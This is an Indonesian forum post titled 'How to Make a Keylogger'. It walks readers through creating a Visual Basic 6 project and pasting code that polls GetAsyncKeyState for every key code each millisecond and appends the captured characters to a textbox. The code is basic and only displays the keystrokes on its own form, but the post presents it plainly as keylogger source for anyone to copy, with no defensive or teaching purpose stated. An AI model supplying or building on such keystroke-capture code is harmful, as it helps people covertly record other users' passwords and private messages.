[Share]Cara Membuat Keylogger

BOSS       Tutorial    Comment   

mungkin rada basi...buat yg pinter vb tapi lumayan kan buat yg blom tau.
dah lansung ajah ya....

1.buka vb mu dan pilih standard exe
2. tambahin :
-1text
-1timer



3.klik kanan di from1 terus pilih view code


terus copas ni codenya :

Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer
Private Sub Form_Load ()
Timer1.Interval = 1
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer ()
Dim a As Integer

For a = 1 To 255

if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next a
End Sub


;

dah segini dlo ajah.... nanti update lagi
kalo gk berguna hapus ajah oke....